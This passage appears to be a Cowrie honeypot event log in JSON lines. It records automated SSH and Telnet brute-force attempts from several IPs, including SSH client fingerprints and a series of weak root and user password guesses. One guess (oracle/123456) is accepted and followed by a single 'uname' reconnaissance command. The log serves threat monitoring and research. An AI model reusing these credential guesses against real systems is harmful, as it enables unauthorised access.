{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:51.776136Z","src_ip":"85.198.19.241","session":"3cd939c62ce5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:52.294432Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:52.318313Z","src_ip":"41.75.114.30","session":"308dc356b7b6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:52.846333Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:52.848302Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:53.111360Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:53.117150Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:53.346263Z","src_ip":"41.75.114.30","session":"308dc356b7b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDFG123","message":"login attempt [root/ASDFG123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:53.602451Z","src_ip":"85.198.19.241","session":"3cd939c62ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#1234!","message":"login attempt [root/Admin#1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:54.164924Z","src_ip":"27.71.230.31","session":"75201db42aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:55.831431Z","src_ip":"27.71.230.31","session":"75201db42aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:56.037823Z","src_ip":"85.198.19.241","session":"3cd939c62ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.354193687438965,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:59.291679Z","src_ip":"128.199.8.54","session":"bf29e31177bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.905545473098755,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:00.856136Z","src_ip":"128.199.8.54","session":"2c9faf0347de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e392195e54a","protocol":"ssh","message":"New connection: 165.154.137.186:40184 (10.17.0.5:22) [session: 6e392195e54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:02.126186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:02.131098Z","src_ip":"165.154.137.186","session":"6e392195e54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:02.389508Z","src_ip":"165.154.137.186","session":"6e392195e54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:03.492810Z","src_ip":"165.154.137.186","session":"6e392195e54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:04.766185Z","src_ip":"165.154.137.186","session":"6e392195e54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf9815f056c9","protocol":"ssh","message":"New connection: 103.216.145.2:37792 (10.17.0.5:22) [session: bf9815f056c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:05.973601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:05.977807Z","src_ip":"103.216.145.2","session":"bf9815f056c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:06.173436Z","src_ip":"103.216.145.2","session":"bf9815f056c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2025","message":"login attempt [user/user@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:06.990968Z","src_ip":"103.216.145.2","session":"bf9815f056c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44878,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53e1eb222a2","protocol":"ssh","message":"New connection: 165.154.137.186:44878 (10.17.0.5:22) [session: a53e1eb222a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:07.213657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:07.217348Z","src_ip":"165.154.137.186","session":"a53e1eb222a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:07.462801Z","src_ip":"165.154.137.186","session":"a53e1eb222a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:08.188542Z","src_ip":"103.216.145.2","session":"bf9815f056c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:08.206245Z","src_ip":"165.154.137.186","session":"a53e1eb222a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:09.454127Z","src_ip":"165.154.137.186","session":"a53e1eb222a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36776,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec2a6727a2f4","protocol":"ssh","message":"New connection: 165.154.137.186:36776 (10.17.0.5:22) [session: ec2a6727a2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:14.793254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:14.796854Z","src_ip":"165.154.137.186","session":"ec2a6727a2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:15.042767Z","src_ip":"165.154.137.186","session":"ec2a6727a2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:15.831057Z","src_ip":"165.154.137.186","session":"ec2a6727a2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:17.079360Z","src_ip":"165.154.137.186","session":"ec2a6727a2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43030,"dst_ip":"10.17.0.5","dst_port":22,"session":"41affeede923","protocol":"ssh","message":"New connection: 165.154.137.186:43030 (10.17.0.5:22) [session: 41affeede923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:22.474006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:22.624803Z","src_ip":"165.154.137.186","session":"41affeede923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:22.798220Z","src_ip":"165.154.137.186","session":"41affeede923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:23.774233Z","src_ip":"165.154.137.186","session":"41affeede923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:25.036695Z","src_ip":"165.154.137.186","session":"41affeede923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":60958,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac26b8443b78","protocol":"ssh","message":"New connection: 38.148.249.2:60958 (10.17.0.5:22) [session: ac26b8443b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:29.956564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:29.960626Z","src_ip":"38.148.249.2","session":"ac26b8443b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:30.029747Z","src_ip":"38.148.249.2","session":"ac26b8443b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lea","password":"lea123","message":"login attempt [lea/lea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:30.344679Z","src_ip":"38.148.249.2","session":"ac26b8443b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:31.417945Z","src_ip":"38.148.249.2","session":"ac26b8443b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49296,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f32e85f8c4e","protocol":"telnet","message":"New connection: 172.81.62.90:49296 (159.203.135.109:23) [session: 0f32e85f8c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:34.600363Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bba23609c77","protocol":"ssh","message":"New connection: 165.154.137.186:37004 (10.17.0.5:22) [session: 9bba23609c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:38.688043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:38.692110Z","src_ip":"165.154.137.186","session":"9bba23609c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49292,"dst_ip":"159.203.135.109","dst_port":23,"session":"731e298296fc","protocol":"telnet","message":"New connection: 172.81.62.90:49292 (159.203.135.109:23) [session: 731e298296fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:49:38.753257Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@o